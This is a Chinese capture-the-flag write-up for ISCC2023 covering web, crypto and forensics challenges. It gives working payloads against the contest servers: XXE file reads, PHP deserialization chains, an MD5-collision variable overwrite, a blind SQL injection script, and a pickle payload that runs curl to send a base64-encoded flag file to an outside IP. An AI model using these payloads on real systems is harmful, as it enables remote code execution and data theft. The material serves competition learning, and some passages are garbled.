ISCC2023

目录标题

很好玩的事情

WEB

羊了个羊

步骤:

尝试抓包抓不出来关卡信息,题目禁止了右键

讲些没用的

https://wrtools.top/coderepair.php

BASE64一直解码即可

解题收获:

ISCC单身节抽奖

步骤:

构造密码为:cccc123";s:8:"username";s:64:"cccccccc";s:4:"sdog";i:1;}

下载文件:http://47.94.14.162:10015/loadzk1myHJ0vaEoT5U0j6xDOVLBw693g83S.php?file=.../.../.../apidemo.php&&check_time=0.5e6

xxe

php 复制代码
<?xml
version="1.0"encoding="utf一8"\?\>
<user>
<name>rocker<l name>
<isdog>singledog</isdog><award>4090Ti<l award>

Payload:

php 复制代码
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE name [  
<!ENTITY goodies SYSTEM "file:///flag"> ]> 
 <user>
     <name>&goodies;</name>
     <isdog>sin66<isdog>
     <award>66</award>
</user>

解题收获:

对于构造密码有了一部分的了解


小周的密码锁

步骤:

php 复制代码
//这块被挡住了,复制下来看看
 if(isset($sha1) && isset($sha2) && isset($user)){
                [$crypto, $user] = SecurityCheck($sha1,$sha2,$user);
                if((substr(sha1($crypto),-6,6) === substr(sha1($user),-6,6)) && (substr(sha1($user),-6,6)) === 'a05c53'){//welcome to ISCC
                    
                    if((MyHashcode("ISCCNOTHARD") === MyHashcode($_GET['password']))&&Checked($_GET['password'])){
                        include("f1ag.php");
                        echo $flag;
                    }else{
                        die("就快解开了!");
                    }
                    
                }

求出加密后为a05c53的user值

php 复制代码
$hashedNumber = 0;
$targetSuffix = "a05c53";

while (true) {
    $hash = sha1($hashedNumber);
    $suffix = substr($hash, -6);
    if ($suffix === $targetSuffix) {
        break;
    }
    $hashedNumber++;
}

echo "$hashedNumber";

得到sha1和sha2

php 复制代码
<?php
function SecurityCheck($sha1, $sha2, $user) {
    $p1 = '/^[a-z]+$/';
    $p2 = '/^[A-Z]+$/';
    if (preg_match($p1, $sha1) && preg_match($p2, $sha2)) {
        $sha1 = strtoupper($sha1);
        $sha2 = strtolower($sha2);
        $user = strtoupper($user);
        $crypto = $sha1 ^ $sha2;
    } else {
        die("wrong");
    }
    return array($crypto, $user);
}
error_reporting(0);
$user = '14987637'; // 已知 user 值
// 暴力枚举 sha1 和 sha2 的值
for ($i = 0; $i < 26; $i++) {
    for ($j = 0; $j < 26; $j++) {
        for ($k = 0; $k < 26; $k++) {
            for ($l = 0; $l < 26; $l++) {
                $sha1 = chr(97 + $i) . chr(97 + $j) . chr(97 + $k) . chr(97 + $l); // 生成 sha1 值
                for ($m = 0; $m < 26; $m++) {
                    for ($n = 0; $n < 26; $n++) {
                        for ($o = 0; $o < 26; $o++) {
                            for ($p = 0; $p < 26; $p++) {
                                $sha2 = chr(65 + $m) . chr(65 + $n) . chr(65 + $o) . chr(65 + $p); // 生成 sha2 值
                                [$crypto, $user] = SecurityCheck($sha1, $sha2, $user); // 加密
                                if ((substr(sha1($crypto), -6, 6) === substr(sha1($user), -6, 6)) && (substr(sha1($user), -6, 6)) === 'a05c53') {
                                    echo "sha1: $sha1, sha2: $sha2\n"; // 输出符合条件的 sha1 和 sha2 值
                                    echo "flag\n"; // 输出 flag
                                    exit(); // 结束程序
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}
?>

发现NOTHARD经过加密后几位的数都是一样的,就可以进行枚举爆破

python 复制代码
def my_hash_code(s):
    h = 0
    for c in s:
        h = ((h * 40) & 0xFFFFFFFFFFFFFFFF) + ord(c)
    return abs(int40(h))

def int40(n):
    if n >> 39:
        n = ~((n & 0xFFFFFFFFFFFFFFF) - 1)
        return -n
    else:
        return n
import itertools
def check_password(password):
    return my_hash_code(password) == my_hash_code("ISCCNOTHARD") and "ISCC" not in password

for password in itertools.product("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", repeat=4):
    password = "".join(password) + "NOTHARD"
    print(password)
    if check_password(password):
        print(password)
        print("ok mima")
        break

发送请求拿到flag

解题收获:

了解了枚举爆破

老狼老狼几点了

步骤:

可得http://47.94.14.162:10007/guess_time.php

php 复制代码
 <?php
//"Hello! welcome to ISCC, wish you have a great time!";
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
echo time();

class what_time_is_it{
    protected $func, $target;

    public function __construct($show_time){
        $this->func = $show_time;
    }

    public function __wakeup(){
        echo "wakeup";
    }

    public function call_func(){
        $lets_show_time = unserialize($this->filter($this->func));
        if($lets_show_time['function'] == "show_time"){
            echo 'The time is: ". date("h:i:sa", time()). "<br>';
        }
        else if($lets_show_time['function'] == "hack"){
            file_put_contents('time.php', "<?php echo 'The time is: ". date("h:i:sa", time()). "<br>';");
            echo "做撚啊做,你还是看看时间吧";		//file_put_contents() 函数把一个字符串写入文件中
            include($lets_show_time['file']);
        }
        else
            highlight_file(__file__);
    }

    private function filter($s){
        return preg_replace('/base64/i','', $s);
    }

    public function __destruct(){
        $this->call_func();
    }

}

if($_SESSION) unset($_SESSION);			//unset() 函数用于销毁给定的变量
$p1 = $_POST['param1'];
$p2 = $_POST['param2'];
$_SESSION['function'] = isset($_GET['func']) ? $_GET['func'] : "highlight_file";
$_SESSION['file'] = 'time.php';
if ($p1 !== $p2 && md5($p1) === md5($p2)){
    if (substr($p1, 0, 10) === strval(time())){		  //substr($p1, 0, 10)$p1正数10个
        echo "Just the time";		  //strval() 函数用于获取变量的字符串值
        extract($_POST);
        $_SESSION['file'] = 'time.php';
        $_SESSION['function'] = "show_time";
    }
    else{
        echo "Sorry wrong time!";
    }
}
$let_me_show_time = serialize($_SESSION)."<br>";
$a = new what_time_is_it($let_me_show_time); 

date() 函数

date() 函数可把时间戳格式化为可读性更好的日期和时间,时间戳是一个字符序列,表示一定的事件发生的日期/时间。https://www.runoob.com/php/php-date.html#:~:text=PHP%20date%20%28%29%20%E5%87%BD%E6%95%B0.,PHP%20date%20%28%29%20%E5%87%BD%E6%95%B0%E5%8F%AF%E6%8A%8A%E6%97%B6%E9%97%B4%E6%88%B3%E6%A0%BC%E5%BC%8F%E5%8C%96%E4%B8%BA%E5%8F%AF%E8%AF%BB%E6%80%A7%E6%9B%B4%E5%A5%BD%E7%9A%84%E6%97%A5%E6%9C%9F%E5%92%8C%E6%97%B6%E9%97%B4%E3%80%82.%20%E6%97%B6%E9%97%B4%E6%88%B3%E6%98%AF%E4%B8%80%E4%B8%AA%E5%AD%97%E7%AC%A6%E5%BA%8F%E5%88%97%EF%BC%8C%E8%A1%A8%E7%A4%BA%E4%B8%80%E5%AE%9A%E7%9A%84%E4%BA%8B%E4%BB%B6%E5%8F%91%E7%94%9F%E7%9A%84%E6%97%A5%E6%9C%9F%2F%E6%97%B6%E9%97%B4%E3%80%82.

看 if 绕过,MD5 强碰撞和p1 的前十位等于当前时间的 unix 时间戳

让 time()返回值+%00+MD5 强碰撞的值来绕过,%00 是空字符,需要让 s e s s i o n ' f u n c t i o n ' = = ' h a c k ' , 但是默认情况下 _session'function'=='hack',但是默认情况下 session'function'=='hack',但是默认情况下_session'function'=='show_time'有 extract 函数用来读取我们 post 传入的参数,这里可以利用 extract 函数的变量,覆盖漏洞来给 function 赋值为 hack,这样就可以进入到 else if 条件中。

php 复制代码
param1=1683671998%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0
0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00%B4%84%18+%D8%EE%3A%29G%F3%D7%02%86%5E%9
D%7D%D9%B1%C1%DB1_%90%A2%1E%D6AR%97%25%C7%B0%C2%F5%EF%C1%D2d%AC%A3%8B%
1Au%F95%B4w38%BA%C1%81%DA%D9C5V%FF%CEkA%B9z%93%3FO%5D%2C%D6p%28%27_%14
%9C%13%C1%5Dkv%B6%C4+%0E%109%40%16%D9%7B%14%C5XaY2%7B%21%DF%DEb%9D%8DD
%A5q%AC%CF%8F%26Z%A6%CAx%D4k%818%04%C7Y%E5%844%2A%2A%C0%7C
&param2=1683671998%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0
0%00%00%00%00%00%00%00%00%00%00%00%B4%84%18+%D8%EE%3A%29G%F3%D7%02%86%5E
%9D%7D%D9%B1%C1%5B1_%90%A2%1E%D6AR%97%25%C7%B0%C2%F5%EF%C1%D2d%AC%A3%8
B%1Au%F954x38%BA%C1%81%DA%D9C5V%FF%CE%EBA%B9z%93%3FO%5D%2C%D6p%28%27_%1
4%9C%13%C1%5Dkv%B6%C4+%8E%109%40%16%D9%7B%14%C5XaY2%7B%21%DF%DEb%9D%8D
D%A5q%AC%CF%8F%A6Y%A6%CAx%D4k%818%04%C7Y%E5%84%B4%2A%2A%C0%7C
&_SESSION[a]=base64base64base64
&_SESSION[bbb]=;s:4:"file";s:62:"php://filter/read=convert.iconv.utf-8.utf-
16/resource=flag.php";s:8:"function";s:4:"hack";s:9:"function1";s:4:"hack";}

成功读取文件 time.php,找到一个叫 flag.php 的

拿到 flag

解题收获:

MD5 强碰撞,unix 时间戳

ISCC疯狂购物节-1

步骤:

php 复制代码
import requests
import re
import time
url = "http://47.94.14.162:10001/more/get?page_number="
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Referer': 'http://47.94.14.162:10001/index/',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9'
}
cookies = {
'csrftoken':
"zC1ktJXZ4qvMYk7TESV43ssgoPnVhE1CswbIwRaqiEaaInVvDIdJuHm6z1rw21Qt",
'sessionid': "f4hwsixm3hng5pi4t0pjf1ul1qkdhp3c",
}
def find(t):
temp = ""
count = 0
for r in re.findall('Fruits object \((\d+)\)',t):
if count == 4:
break
if int(r) > 500:
print("PWN PWN PWN!" + r)
exit()
temp += r + " "
count += 1
print(temp)
for i in range(125):
print("Find Page:" + str(i+1))
temp = url + str(i+1)
text = ""
while "Fruits " not in text:
text = requests.get(temp,cookies=cookies,headers=headers).text
if "too fast" in text:
print("fast...")
time.sleep(2)
find(text)

爬取125个页面,发现一个页面有个不正常的id:487561,经过验证id会做强制转换,这个id有sql注入,后端有过滤,但是fl4g字段在与页面同一个表下,简单绕过就能注出

php 复制代码
import requests
import string
from time import sleep
# proxies=pro,
pro = {'http': 'http://127.0.0.1:8011',
'https': 'http://127.0.0.1:8011'
}
# 绕过are you kidding me
cookies ={
'csrftoken': "FEzKLE8iIxClwEkaVy0VfXYg2ADcbnH5xK4oeSa3jd8AZaoxmf4WXqaKkfM1sJDy",
'sessionid': "biv7okgyaj43cv5698unuqoqhz5ebnmh",
}
headers = {
'Acept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language' : 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6',
'Cache-Control': 'max-age=0',
'Connection': 'keep-alive',
#cookie":
'Upgrade-Insecure-Requests' : '1',
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36',
}
def str_to_hex(string):
result = ''
for i in string:
result+=hex(ord(i))[2:]
return result
# 找到flag所在字段
def find_flag_col():
url = "http://47.94.14.162:10001/Details/search?id=4875610)||{} like binary 0x5f25 %23"
with open(r'flag.txt','r') as f:
for flag in f:
payload = url.format(flag.replace("\n",''))
print(payload)
r = requests.get(url=payload,cookies=cookies,headers=headers)
sleep(1)
if r.status_code != 500:
print("Found:[+]:{}".format(flag))
# 正则过滤了,只能0x+四个字符
url = "http://47.94.14.162:10001/Details/search?id=4875610)||fl4g like binary 0x25{}{}25 %23"
alphabet="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[\]^`{|}~"
result= '{'
for i in range(1,100):
for ch in alphabet:
payload = url.format(str_to_hex(result[-1]),str_to_hex(ch))
# payload = url.format(str_to_hex(ch))
print(payload)
r = requests.get(url=payload,cookies=cookies,headers=headers)
sleep(1)
if "too fast" in r.text:
print("too fast")
sleep(2)
r = requests.get(url=payload,cookies=cookies,headers=headers)
if "576O576K576K" in r.text:
print(payload)
result += ch
print("注入成功:[+]", result)
break # 这一位已经跑出来了,可以break掉然后下一轮循环跑下一位数据了
# 如果已经跑到了字母表最后一位都还没有进到上面的if然后break,说明这轮循环没跑出来正确结果,说明注入完成(或者注入payload写的有问题注入失败),脚本没必要继续跑下去了
if ch == alphabet[-1]:
print("注入完成")
exit(0)

Where_is_your_love

步骤:

http://47.94.14.162:10003/LoveStory.php

php 复制代码
 <?php
include("./xxxiscc.php");
class boy {
    public $like;
    public function __destruct() {
        echo "能请你喝杯奶茶吗?<br>";
        @$this->like->make_friends();
    }
    public function __toString() {
        echo "拱火大法好<br>";
        return $this->like->string;
    }
}

class girl {
    private $boyname;
    public function __call($func, $args) {
        echo "我害羞羞<br>";
        isset($this->boyname->name);  
    }
}

class helper {
    private $name;
    private $string;
    public function __construct($string) {
        $this->string = $string;
    }
    public function __isset($val) {
        echo "僚机上线<br>";
        echo $this->name;
    }
    public function __get($name) {
        echo "僚机不懈努力<br>";
        $var = $this->$name;
        $var[$name]();
    }
}
class love_story {
    public function love() {
        echo "爱情萌芽<br>";
        array_walk($this, function($make, $colo){
            echo "坠入爱河,给你爱的密码<br>";
            if ($make[0] === "girl_and_boy" && $colo === "fall_in_love") {
                global $flag;		//全局变量 获取
                echo $flag;
            }
        });
    }
}

if (isset($_GET["iscc"])) {//用于检测变量是否已设置并且非 NULL
    $a=unserialize($_GET['iscc']);
} else {
    highlight_file(__FILE__);
} 
//O%3A3%3A"boy"%3A1%3A%7Bs%3A4%3A"like"%3BO%3A4%3A"girl"%3A1%3A%7Bs%3A13%3A"%00girl%00boyname"%3BO%3A6%3A"helper"%3A2%3A%7Bs%3A12%3A"%00helper%00name"%3BO%3A3%3A"boy"%3A1%3A%7Bs%3A4%3A"like"%3BO%3A6%3A"helper"%3A2%3A%7Bs%3A12%3A"%00helper%00name"%3Bs%3A1%3A"1"%3Bs%3A14%3A"%00helper%00string"%3Ba%3A1%3A%7Bs%3A6%3A"string"%3Ba%3A2%3A%7Bi%3A0%3BO%3A10%3A"love_story"%3A1%3A%7Bs%3A12%3A"fall_in_love"%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A"girl_and_boy"%3B%7D%7Di%3A1%3Bs%3A4%3A"love"%3B%7D%7D%7D%7Ds%3A14%3A"%00helper%00string"%3Bs%3A4%3A"test"%3B%7D%7D%7D

http://47.94.14.162:10003/Enc.php

拖入编译软件提示是个二进制文件,不能转文字,http://47.94.14.162:10003/Download.php

在kali中使用openssl解出即可

openssl rsa -pubin -text -modulus -in warmup -in k.pem

N转换成10进制

http://factordb.com/

php 复制代码
import gmpy2
import rsa
p =147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922205709
q =147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922205709

n =21632595061498942456591176284485458726074437255982049051386399661866343401307576418742779935973203520468696897782308820580710694887656859447653301575912839865540207043886422473424543631000613842175006881377927881354616669050512971265340129939652367389539089568185762381769176974757484155591541925924309034566325122477217195694622210444478497422147703839359963069352123250114163369656862332886519324535078617986837018261033100555378934126290111146362437878180948892817526628614714852292454750429061910217210651682864700027396878086089765753730027466491890569705897416499997534143482201450410155650707746775053846974603
e = 65537
d = int(gmpy2.invert(e,(p-1)*(q-1)))
privatekey = rsa.PrivateKey(n,e,d,p,q)
with open("./letter.php","rb") as f:
print(rsa.decrypt(f.read(),privatekey).decode())

得到

php 复制代码
function enc($data){
$str="";
$a=strrev(str_rot13($data));
for($i=0;$i<strlen($a);$i++){
$b=ord($a[$i])+10;
$c=$b^100;
$e=sprintf("%02x",$c);
$str.=$e;
}
return $str;
}
?>

逆回去

php 复制代码
import binascii
def rot13(message):
res = ''
for item in message:
if (ord(item)>= ord('A') and ord(item)<= ord('M')) or (ord(item)>= ord('a')
and ord(item)<= ord('m')):
res += chr(ord(item)+13)
elif (ord(item)>= ord('N') and ord(item)<= ord('Z')) or (ord(item)>=
ord('n') and ord(item)<= ord('z')):
res += chr(ord(item)-13)
else:
res += item
return res
c = b'e32824180f3ee4295f1b5f5a1d1019115a3d1a003924122fe7335b34253f59263ae13e3e3404'
c = binascii.a2b_hex(c)[::-1]
print(c)
m = ''
for i in c:
t = (i ^ 100) - 10
m = m + chr(t)
print(rot13(m))

解题收获:

格式可得,可以学习一下这篇文章,1:https://juejin.cn/post/6869682500453695496

2:https://blog.csdn.net/qq_40110291/article/details/113351497?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-113351497-blog-127450507.235%5Ev32%5Epc_relevant_default_base3&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-113351497-blog-127450507.235%5Ev32%5Epc_relevant_default_base3&utm_relevant_index=2

疑问:为什么可以从私钥导出公钥,而不能从公钥导出私钥?

从公钥导出私钥,实际上等同于RSA被破解,理论上,RSA可以被破解,但是随着key越长,其破解难度越大。

目前被破解的最长RSA密钥就是768位,因此就常见的RSA 1024位及以上,基本上是不能被破解的。也就是说公钥导出私钥是不成立的。

所以,OpenSSL中可以由私钥导出公钥,猜测应该是私钥的容器往往同时包含私钥与公钥(公钥是让所有人都会知道,那么拥有私钥的人没有道理不留存一份公钥),而公钥的容器仅包含公钥。

上大号说话

步骤:

输入,马保国,提示.git有东西

代码不全

python 复制代码
class ED:
    def __init__(self):
        self.file_key = ...  # 1Aa
        self.cipher_suite = Fernet(self.generate_key(self.file_key))  
    def crypto(self, base_str):
        return self.cipher_suite.encrypt(base_str)
    
    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)  

def check_cookies(cookie):
    ed = ED()
    f, result = ed.decrypto(cookie)
    black_list = ...
    if not result[0:2] == b'\x80\x03':
        return False
    ...
    try:
        result = pickle.loads(result)
        if result.name == 'mabaoguo' and result.random == mabaoguo.random and result.gongfu == mabaoguo.gongfu:

            return flag
        else:
            return result.name

    except:
        return False
@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        name = request.form['input_field']
        name = Member(name)
        name_pick = pickle.dumps(name, protocol=3)
        name_pick = pickletools.optimize(name_pick)
        ed = ED()
        response = make_response(redirect('/'))
        response.set_cookie('name', ed.crypto(name_pick).decode())

        return response
    temp_cookies = request.cookies.get('name')
    if not temp_cookies:

        ...
    else:

        f = check_cookies(temp_cookies)
      ...
if __name__ == '__main__':
    app.run()

ED类初始化函数给了file_key一个初始值,但我们不知道(需要爆破),然后通过generate_key()函数生成一个新的key,生成一个Fernet加密对象

check_cookies函数,通过上面的三个判断条件,给flag,上面对result进行了pickle.loads()方法,这里自然就想到了用变量覆盖来达成,由于存在验证,result0:2 == b'\x80\x03'需要用3版本的opcode来完成

由于base64加密规则,我们只需要爆破四位字符即可,chatgpt写的爆破脚本

python 复制代码
import itertools
import pickle
import cryptography
import base64
from enum import member
from json import dump
import pickletools
from cryptography.fernet import Fernet


class ED:
    def __init__(self,key):
        # self.file_key = ...  # 1Aa
        self.file_key = key
        self.cipher_suite = Fernet(self.generate_key(self.file_key))

    def change(self, key):
        self.cipher_suite = Fernet(self.generate_key(key))

    def crypto(self, base_str):
        return self.cipher_suite.encrypt(base_str)
 

    def decrypto(self, base_str):
        print(self.cipher_suite.decrypt(base_str))
        return self.cipher_suite.decrypt(base_str)
    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)

# 定义字符集
charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
# # 定义密钥长度范围
min_length = 4
max_length = 4
# 循环尝试所有可能的密钥组合
for length in range(min_length, max_length+1):
    for guess in itertools.product(charset, repeat=length):
        key = ''.join(guess)
        # 在此处使用密钥尝试打开加密文件或进行其他操作
        ed = ED(key=key)
        try:
            decrypted_data = ed.decrypto(
                'gAAAAABkU29cl7FsmN4fcEarM0esqSSe-ht2eaL-9DjMT2K18JGsAd0KFWaXtg4SslOG5ZIlv12E6BgRgUcrQR2bO0AwXvWLxSoi8Fv2x0XegfvFARjSMFH999KD93aMOfPK5uWuhlD9HaiRMKYVCChifxSsTkj_3WoSGrR__a0CZcnPo1xQcc4=')
            # 解密成功,返回结果
            print (decrypted_data)
            print(key)
        except cryptography.fernet.InvalidToken:
            # 密钥不正确,继续循环下一个密钥
            continue

得到密钥,flag文件的位置,由于有黑名单限制,不能使用pickle反序列化来执行反弹shell,我们就使用curl外带出flag

构造exp,o指令手写一个3版本的opcode

php 复制代码
opcode = '''\x80\x03(cos
system
X\x39\x00\x00\x00curl 114.132.220.82:2333/`cat flagucjbgaxqef.txt| base64`o.'''

脚本生成一下cookie

php 复制代码
import pickle
import base64
from enum import member
from json import dump
import pickletools
from cryptography.fernet import Fernet
# import mabaoguo


class ED:
    def __init__(self):
        # self.file_key = ...  # 1Aa
        self.file_key = '5MbG'
        self.cipher_suite = Fernet(self.generate_key(self.file_key))

    def change(self, key):
        self.cipher_suite = Fernet(self.generate_key(key))

    def crypto(self, base_str):
        return self.cipher_suite.encrypt(base_str)

    def decrypto(self, base_str):
        print(self.cipher_suite.decrypt(base_str))
        return self.cipher_suite.decrypt(base_str)

    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)


print(len('curl 114.132.220.82:2333/`cat flagucjbgaxqef.txt| base64`'))
payload = b'\x80\x03(cos\nsystem\nX\x39\x00\x00\x00curl 114.132.220.82:2333/`cat flagucjbgaxqef.txt| base64`o.'

ed = ED()
print(ed.crypto(payload).decode())

得到flag

解题收获:

构造exp,o指令,脚本生成cookie

MISC

好看的维吾尔族小姐姐

步骤:

包里的拖进010,看头部,观察是PNG文件,改后缀

改了宽高,出现图

镜像旋转,data matrix 在线识别,

ISCC{you_got_it_welldone!}

解题收获:

Unicode解密即可: https://www.sojson.com/unicode.html

雪豹

步骤:

打开显示有密码,猜测文件结构遭到破坏,用010editor查看后发现该文件出现了3个压缩文件头,而没有一个文件头,用010定位之后将两处0x73修改为0x74

修改完成后即可无密码解压,解压出来一个jpg图片一个压缩包

弱密码,密码为123456

得到LcWhEQAACMPAWRiOa7DdX8SgngvbeQQ=,放进cyberchef自动解析,可知是经过base64+raw压缩后的一串字符串

修改jpg图片的高度

解压后得到hint.txt和一个{num}-secret.zip文件,解压过程中存在隐写。编写解压代码时经过解压测试发现并没有额外的文件,

php 复制代码
import os
import zipfile
import time
from tqdm import tqdm

flag = ''
for name in tqdm(range(49183,-1,-1)):
    filename = f'{name}-secret.zip'
    fz = zipfile.ZipFile(filename, 'r')
    fz.extractall()
    for info in fz.infolist():
        t = info.date_time
        times = int(time.mktime(t + (0, 0, 0)))
        if(times == 1682907238):
            flag += '1'
        elif (times == 1682907232):
            flag += '0'
        else:
            break
    fz.close()
    os.remove(filename)
flag = '0' + flag
fw = open('outs.txt','w').write(flag)

将文件内输出的内容放进cyberchef进行转码,该文件开头为1f 8b 08,经查询为文件头

解压出来发现是png文件,隐写软件ImageIn,使用软件解得到

🍙🍶📃🛁 😁🐰🐷💺 👎🍏 🏄🙅🍈🍈🐱🌿🐷💀💀🃏☎🎐🐷❤☎👗🐅🐅😲🐅👗☔🚒🐸👎🍏🌿 🃏🍶📃 🌿🐷🚈🎒 🐷 💺🍶🍶🍨 🍨🐷🃏🚇🚇

I forgot my key, but it seems there is still a way

提示有key,可得知是codemoji加密的内容,根据代码编写cracker或用别人写好的进行自动爆破解密即可得到flag

菜鸟黑客1

步骤:

用DiskGenius挂载raw,点击恢复文件,直接搜索flag.txt

导出flag.txt,使用Passware Kit Forensic扫raw文件,得到密码ISCC2023

后将flag.txt的内容通过在线网站进行解码,得到flag,ISCC{dbsy_cdis_fd7n_s4fd}

菜鸟黑客2

步骤:

提示喜欢画画,猜测和图片有关,查看镜像中桌面文件夹中发现有很多图片,使用rstudio查看镜像但是导出却无法打开,使用volaility导出可以查看

使用editbox查看发现一段信息 Pay attention to emoji's eyes

根据这段信息 猜测为emoji.jpg图片的眼睛中藏有信息,摩斯密码 ,一个眼睛就是一个. 一个闭着的眼就是一个- 中间空着的为空格

得到

. -- --- .--- ... ... ... ...-. ...- -.

使用foremost分离图片

发现一段信息,维吉尼亚密码,和一串数据 MEQL{invk_vhlu_dzel_lkof},猜测刚才得到的EMOJIISFUN是密钥

G9的钢琴曲

步骤:

题目给出了docker

php 复制代码
var express = require('express');
var path = require('path');
var fs = require("fs");
var createError = require('http-errors');
var { expressjwt } = require("express-jwt");
var multer = require("multer");
var cookieParser = require('cookie-parser');
var logger = require('morgan');

var indexRouter = require('./routes/index');
var apiRouter = require('./routes/api');

var app = express();

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'twig');

app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
app.use(multer({ dest: '/tmp' }).array("file"));

var publicKey = fs.readFileSync('./config/public.pem');    // jwt解密阶段使用公钥
app.use(expressjwt({ secret: publicKey, algorithms: ["HS256", "RS256"]}).unless({ path: ["/", "/api/login"] }))

app.use(function(req, res, next) {    // 这一中间件对get、post,auth的数据进行过滤,过滤了危险字符和关键字
  if([req.body, req.query, req.auth, req.headers].some(function(item) {
      console.log(req.auth)
      return item && /../|proc|public|routes|.js|cron|views/img.test(JSON.stringify(item));
  })) {
      return res.status(403).send('illegal data.');
  } else {
      next();
  };
});

app.use('/', indexRouter);
app.use('/api', apiRouter);

// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});
var server = app.listen(8000, function () {

  var host = server.address().address
  var port = server.address().port

  console.log("Application instance, the access address is http://%s:%s", host, port)
});
php 复制代码
app.use(function(req, res, next) {    // 这一中间件对get、post,auth的数据进行过滤,过滤了危险字符和关键字
  if([req.body, req.query, req.auth, req.headers].some(function(item) {
      console.log(req.auth)
      return item && /../|proc|public|routes|.js|cron|views/img.test(JSON.stringify(item));
  })) {
      return res.status(403).send('illegal data.');
  } else {
      next();
  };
});

关键代码如下:

改一下pad和root = f.small_roots(X=2^472, epsilon=0.03)0,如下,sage使用

php 复制代码
from Crypto.Util.number import *

out =[(2172252055704676687457456207934570002654428519127702486311980109116704284191676330440328812486703915927053358543917713596131304154696440247623888101060090049, 2108637380559167544966298857366809660819309447678518955440217990535095703498823529603132157555536540927898101378853427638496799467186376541583898176373756917, 1103840869050032098984210850630584416814272073121760519116633450832540460407682739594980752914408375293588645043889636184344774987897378026909963273402766561), (2000124088829445641229622245114189828522912764366697463519930724825924163986998694550757186794149331654420524788899548639866463311104678617705042675360057243, 1665549488322348612920659576773850703765765307223600084262385091708189142517147893842872604879786471376822691498663100028754092239272226011616462859779271025, 990627294315894701092445987317798430568264256978762186489740206376279178571289900941886873570710241025125621594301020499270029956301204583788447662869037315), (1303516450844607175859180241406482278674954250245197644105258810912430306740632927947088058701010631209652921073238771523431247167608544636294883977018097199, 1119758042346732592435539174564881640374540951155805649314246375263320107846465196580695284748429608544175058830657524095385658523219250943378976577225782230, 598915905620934628053505443816290720352232457144997188593150390072666051798491983452700635551081569466232682512362475354896855707688259553722701065491789402), (2463333340881549805545364706970314608937871808508385657282029236077808399479795853056347857164089991597487727014937851894809199639758978587612411591527423763, 673590616457425981268507673967667728811152404125286063856277932080928372715113304373395326309595915550999528364692493169822993967220858400311382215177833045, 208198360150172881237486434064181246031019081636219908755237161625039285165750040108367852136975511290424988781713799103150982065579123496034803730006273360)]
# clean data
ns = [o[0] for o in out]
rs = [o[1] for o in out]
cs = [o[2] for o in out]
# calculate T_i for each polynomial
calcT = lambda idx : crt([0 if i != idx else 1 for i in range(4)], ns)
# calculate Ts
T = [calcT(i) for i in range(len(ns))]
# construct the final polynomial
f = 0
P.<x> = PolynomialRing(Zmod(prod(ns)))
# use pad to add known bits
pad = bytes_to_long(b'ISCC' + b'\x00' * 59)
m = x + pad
# construct g(x)
for i in range(4):
    f += T[i] * (m^4 + 3*m^2 + rs[i]*m - cs[i])
root = f.small_roots(X=2^472, epsilon=0.03)[0]
m = m(root)
print(long_to_bytes(int(m)))

解完得到密码ISCC_Y0u_R3alLy_KnOw_CoPPersm1th,后得到一个压缩包和一个hint.txt

查看文件结构发现开头有-和+

Brain Games

步骤:

压缩包有密码,发现是aaencode,但是有很多?,而看了一下常见的都是一个゚,因此替换一下然后解aaencode,得到Peace_And_Love,生成密码后,这里用stegsolve观察能看到貌似有LSB,猜测是加密的LSB

然后根据下面的123和上面子弹射的痕迹,猜测密码是135780的排列组合中的其中一个

php 复制代码
